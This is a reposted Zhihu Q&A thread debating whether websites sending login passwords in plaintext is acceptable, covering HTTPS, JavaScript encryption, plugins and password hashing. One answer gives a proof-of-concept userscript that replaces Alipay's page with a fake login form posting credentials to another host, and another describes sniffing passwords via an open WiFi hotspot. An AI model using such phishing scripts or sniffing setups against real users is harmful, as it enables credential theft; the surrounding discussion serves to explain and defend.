國內大多數網站的密碼在 post 傳輸過程中都是明文的,這正常嗎? | 知乎問答精選

 

A-A+

國內大多數網站的密碼在 post 傳輸過程中都是明文的,這正常嗎?

2018年08月17日 知乎問答精選 暫無評論 閱讀 11 ℃ 次

【余天升的回答(49票)】:

看到上面幾位的回答,我真心覺得,當前信息安全保護的意識過於低下,連一些基本的保護措施都能夠被認為是「沒有必要」。同意@任冬 的觀點,都在偷懶,不重視安全,沒有什麼理由好開脫的

如同@lumin 所說,信息安全的保護確實分成兩個部分,端的安全(可以具體到客戶端和服務器端)和鏈路的安全,也就是傳輸過程中的安全。

一般我們可以認為,端都是可信的。對於服務器端,你願意使用這個公司提供的服務,一個隱含的條件就是相信這個提供服務的公司,所以服務器端可以認為是比較安全的。

而客戶端,你願意使用這台電腦,也表明你認為這台電腦是比較安全的。只有對於一些安全級別更高的業務,比如在線交易,才需要額外的再對客戶端的安全性做一次校驗。但是,要真正的保證客戶端安全是很難的,需要使用像可信計算這樣的技術。常見的能夠很大程度保護客戶端安全的設備,比如iOS設備、PSP之類的遊戲機,也是能夠遭到破解,所以這個問題至今沒有比較完善的解決方案。

通常我們認為,自己肯定不會給自己的電腦裝上木馬,網吧的老闆一般不會跟黑客一夥,也不會在網吧的電腦上裝木馬。所以保護的焦點,應該集中在通信的鏈路上,而不是端上,而且,在鏈路上進行竊聽,比在大部分時候在端上進行攻擊都來得有效和難以發現。

一個很簡單的例子,如果我用筆記本在一個外租房比較密集的小區,建立一個無密碼的WiFi熱點,保證很多試圖蹭網的人連接上來,然後如果我用WireShark(或者用WinPcap寫一個過濾程序),監聽WiFi收到轉發的數據包,那一定能截獲大批的用戶名和口令,至少,如果他上知乎,用戶名和口令我一定能得到。這個例子也說明了,各位千萬不要貪圖小便宜而去蹭別人的WiFi,這是一個對自己來說很危險的行為。

實施網絡竊聽是如此的容易,甚至不需要額外安裝什麼黑客軟件就可以進行。對於很多場合,我們對於傳輸的內容被竊取並不關心,我不怕別人知道我看了什麼新聞,也不怕別人知道我在知乎回答了什麼問題,但是用戶名和口令這樣的身份鑒別信息是絕對不可以被竊取的,因為可能會引起一系列其他的安全問題,CSDN洩漏以後大家都在改密碼就能說明問題。對於關鍵身份鑒別信息在傳輸時進行加密是一種非常有必要,而且也是非常重要的事情。

至於安全成本問題,我覺得,一個開發人員的薪水一年是十萬以上,一年三五千的SSL證書,對於一個網站來說,根本就是九牛一毛。

【任冬的回答(17票)】:

都偷懶,不重視安全。這個沒什麼理由好開脫的。

一般來說,登錄的界面用https還是挺多的(技術實現比較簡便),但是有個問題就是第一次打開速度太慢。比http方式慢不少

很多遊戲的登錄都是這個方式,如:

sdo.com的登錄方式就是https的

passport.the9.com也是

為了保證瀏覽速度,可以採用js加密方式

用js加密可以採用非對稱加密技術,如:rsa加密算法,就算中間人截獲數據包,也不知道真實的密碼

qq就有登陸採用js加密的,如:t.qq.com

weibo.com的登錄也是採用http+js加密方式

優點就是速度快

這兩個解決的都是傳輸過程中的安全,一般基本就夠用了。

如果還要解決輸入的安全,只能安裝瀏覽器插件了。比如很多銀行登錄,支付登錄,都會有要求,這個也要看插件和操作系統結合的緊密程度,我之前的主管可以寫程序截獲安裝了銀行插件的按鍵記錄。

最好還是開發這塊重視起來。

【於航的回答(3票)】:

稍微糾正一下其它答案中的問題。

js加密(比如騰訊)沒什麼安全性可言,攻擊者只要把你訪問的頁面整個替換掉就可以了。共用路由器的話,用ARP病毒應該很容易做到。

按照類似的邏輯,只要在登錄的時候用戶看不到地址是https,任何「其它方法」都不安全。就不必討論js或者類似方案了。

就算是用插件登錄,在很多時候,攻擊者也可以修改頁面,讓輸入框根本不使用這個插件。所以除非插件另外有驗證頁面內容的功能,還是不能不使用https。而且就算使用https,對於本地的病毒之類的問題,有些插件也不能阻止攻擊者繞過這個插件。

比如以下GreaseMonkey腳本在Linux,Firefox中驗證成功,Windows和其它瀏覽器就不逐個嘗試了(如果Windows不行的話,還有一種合理的解釋是Linux版僅僅用於避免Windows用戶訪問「更不安全」的頁面)。以下腳本僅僅用於驗證概念。真正用於攻擊的話,首先要把頁面做得和支付寶官方頁面比較像,還要能自動給Firefox安裝腳本,最好還能避免用戶發覺,讓用戶以為登錄不上去是因為網絡錯誤或密碼錯誤。

// ==UserScript==

// @name alipay hacker test

// @namespace afdsjalfwhahefhwadskla

// @include https://www.alipay.com/

// @version 1

// @grant none

// ==/UserScript==

document.body.innerHTML='<form action=「https://www.example.com" method="get"><input name="username"><input type="password" name="password"><input type="submit"></form>'

所以說,插件在很多時候也都是自欺欺人。可能阻止了一部分流行的病毒的行為,但是有針對性的攻擊是否也能阻止,難說。只考慮網絡安全的話用https即可,不需要另外的插件。

更進一步地說,考慮病毒的影響的話,某些直接使用自己的客戶端的驗證方式也無法保證安全。比如某個病毒作者自己做一個登陸框,替換掉QQ.exe,QQ自身沒有任何防範方法。只是用戶很快就會發現問題而已,因為登錄不上去。對QQ可能影響不大,但是想像一下要是有銀行用類似的方法,病毒可以在攻擊者得到密碼之後,立即破壞系統文件,切斷用戶的網絡,可以稍微用藍屏之類的方式掩飾一下,避免用戶很快直接聯繫銀行,然後攻擊者立即將用戶的存款轉出。只是病毒的體積可能有些大,看現在的網速可能也不是很大的問題。

網速比較快的話,USB Key也可以做個程序遠程與硬件交互,攻擊者那邊再裝個虛擬的硬件驅動,實在不行就用虛擬機。有些設備可能解決了這些問題,畢竟網絡不太可能完全沒有延遲,而且帶寬有限。有些設備可能沒有,或者目的僅僅是避免依賴於密碼。

但是比如說,使用手機短信驗證,而且保證手機不中毒,或者比如說使用帶有屏幕的USB Key,那麼應該是安全的。不過個人認為受盜號影響不大的普通網站沒必要在用戶自己中毒造成的問題上下太多功夫。這是用戶自己和殺毒軟件的責任。

另外關於明文存儲密碼,有些人有概念錯誤(以下專業的人可以不必看)。明文存儲密碼不是要避免有人用用戶的密碼去登錄其它網站,而是在網站自身的數據庫洩露之後,避免有人直接用洩露的密碼直接登錄自己的網站。「從技術上保證一個網站的密碼不能用於登錄另一個網站」,不應該是網站的責任,而是瀏覽器應該做的事,雖然現在沒有哪個瀏覽器做了這件事。

服務器的數據庫的所謂密碼加密,其實是不可逆的hash,hash之後直接與數據庫比較。但是js加密(或者https加密)要是用同樣的方法的話,攻擊者得到加密之後的內容,就可以跳過js加密的步驟,用加密後的內容直接通過驗證。所以任何客戶端的加密方法,都應該保證一個加密後的數據不能重複使用兩次。使用的算法一般應該是可逆的,也有一些其它方案,比如兩次操作順序可交換的不可逆算法。

所以以上就有三種不同意義的加密:1.用戶在不同網站上使用不同的密碼;2.傳輸過程中的加密;3.網站自身數據庫的加密。如果要達到目的,任何兩個都不能共用同一加密過程。

第一條比起在瀏覽器上實現這個功能,現在似乎有個另外的趨勢是用一個賬號登錄多種服務。實際上有一些安全隱患,因為某些不重要的小網站可以用QQ、微博賬號登錄,某些購物網站一樣也可以用QQ、微博賬號登錄。這樣在某些明知不安全的環境,可能比如一些網吧,注重安全而又想登錄小網站的人就會比較困擾。

【WEAINE的回答(0票)】:

我最近抽空在寫的博客系統傳輸用戶信息的時候各種加密,我已經無意間領先了知乎豆瓣了是麼。。

【lumin的回答(7票)】:

這裡其實提到安全問題,對於安全問題應該分為以下幾種階段:

1、客戶端安全(表現為數據錄入時的安全)

2、客戶端到服務端之間信息傳輸安全(也就是你提到的數據傳輸時的安全)

3、服務端的安全(服務端密碼存儲的安全)

應該說是絕大多數網站因為安全界別的關係只要保證服務端安全就可以了,所以你看到的很多網站都是明文傳輸的!

如果非明文,有幾種做法:

1、HTTPS,做加密簽名

2、js加密後傳輸(不確定,因為很少這樣做,但我覺的應該是可以的)

3、做瀏覽器插件,進行數字信息保護。

但其中還有問題。

1、2都無法做到絕對的安全,因為鍵盤是可以程序監控的。智能保證客戶端到服務端傳輸過程中的安全。

3可以做模擬鍵盤,點擊輸入。相對來說無法做到鍵盤監控,而且傳輸數據也有保障。

2用JS加密因為JS腳本本身就是可下載的,所以加密方式洩露也會產生不安全問題。而且我很少看到有用JS加密後進行傳輸的。

其實能看出要做到絕對的安全,成本比較高。所以網站基本都會評估自己對帳號信息所要保證的安全級別再結合自己本身的業務來選擇做到什麼程度。

安全界別最高的,涉及到金錢交易,比如:電子商務,網銀等。都採用第3種做法。

安全界別稍高的,需要注意到信息丟失代碼的一些列影響,比如,微博的APP種的API KEY等信息丟失帶來的一系列後果和影響。

安全界別較低的,只要保證帳號在平台內足夠安全就可以了,比如:知乎、豆瓣等。因為密碼丟失本身不會帶來過於嚴重的問題,內容丟失、剽竊、亂輸入相對來說影響較小,而且容易恢復。

所以一般明文傳輸的網站用戶協議裡面應該會包含用戶應該自己保證自己的帳號安全,如果是用戶丟失的(未到達服務端之前),後果由用戶承擔,如果網站弄丟了,則站方承擔責任。

明文傳輸成本較低,而且一些網站不需要那麼高級別的要求,再加上如果真用高級別的安全來要求一些不需要很高安全級別的網站,也會帶來一系列很麻煩的問題。你希望在你上知乎的時候下載安裝插件嗎?估計你會逼瘋。

所以明文傳播也比較正常。

【梁皓然的回答(3票)】:

另外補充一下明文傳輸並不像想像那麼可怕……事實上正常情況下這些報文你根本監聽不到,除非你種木馬、入侵路由器、局域網監聽等。所以在這種情況下互聯網公司一般沒必要花太大代價進行這個加密的。

【趙雨函的回答(1票)】:

這個沒什麼好說的,明文post用戶的登錄密碼就是對用戶的侮辱,除非用的https。一般來說網站沒有義務保證客戶端安全(用戶使用安全的瀏覽器,保證本地輸入不被偵聽),但是從發出post請求,再到服務器驗證,這個過程必須加密。純md5加密,因為現在md5被破的差不多,大部分用戶的密碼也相對簡單,所以嚴格來說並不安全。至於@lumin 說的第二種方法,雖然js是公開的,但是使用非對稱加密,或者直接用md5 sha1之類的是沒問題的

【知乎用戶的回答(0票)】:

最起碼也可以懷疑網站有可能明文存儲密碼

但是js在客戶端加密密碼再傳輸到網站,這樣假如客戶端屏蔽了js的情況下就沒辦法登錄了(還有用ucweb之類瀏覽器登錄的情況)

【知乎用戶的回答(2票)】:

樓上,js做md5/sha1之後到server端沒法驗證了阿。因為根本無法正常解密。

而且,純md5/sha1並不安全,sniffer到秘文然後rainbow table直接lookup就ok了阿。

至於在客戶端JS做md5/sha + salt + pepper的方式,貌似很少有這麼做的?

【夜末的回答(1票)】:

SSL一年三五千,加上服務器,域名,甚至IOS開發者註冊費,一年下來也好幾萬了。其實大部分程序員都不容易,尤其是自己創業的。憑著個人愛好和一腔熱血,埋頭苦幹好幾個月甚至大半年,做出來能不能賺回成本都還是個問題。我相信大部分程序員在開發項目的時候都在絞盡腦汁把最好的解決方案呈現給用戶,那麼用戶是否也應該多些寬容和支持呢? 如果家境充盈可以給你喜歡的免費軟件捐點錢,至少別用盜版軟件。沒錢也可以幫著宣傳或者給作者寫封感謝信。題主在發現了這些網站都有劫持漏洞的是時候,有沒有給軟件商發封反饋郵件?我現在終於明白了為何開源世界如此繁榮且無私,是不是程序員們都在互相憐憫。

當然程序員們也應該多多考慮安全問題,好的程序員往往能自黑,何況多學一些黑客防攻總是好的。沒錢買ssl也可以用js不可逆向加密,不會比服務器端加密的質量差。開源的js加密庫網上有很多都做的非常好。

另外回復一下樓上的:js不可逆向加密能比可逆的ssl差?我是菜鳥別逗我。js加密能力不比別的語言差,只不過js對網絡劫持束手無策。服務端無法驗證js加密後的密文?呵呵,我是菜鳥都知道第一次註冊的時候就把js加密後的密碼存到數據庫就ok了。類似的方法還有很多。

-------------------我是為了不跑題的分割線-------------------

回答題主的問題:正常。

互聯網這個行業很年輕,還有很長的路要走。

【知乎用戶的回答(0票)】:

不單是國內的網站,IBM網站用IBM ID登錄是明文、蘋果APPLE ID也是明文(但是HTTPS)。

我的觀點是:

如果是通過瀏覽器插件實現加密,對於大多數網站來說為了安全而要求用戶安裝插件所產生的用戶體驗的犧牲是不值得的;而如果是JS方式,對於惦記你密碼來說的人,也沒有實際的障礙;還有是HTTPS,個人覺得性能什麼的還是其次,可以參考

WEB安全的方方面面 - 收藏夾

中提到的

SSL 證書通常需要綁定 IP,不能在同一 IP 上綁定多個域名。

標籤:-豆瓣 -密碼 -知乎 -網絡安全 -網站 -Web


相關資源:





給我留言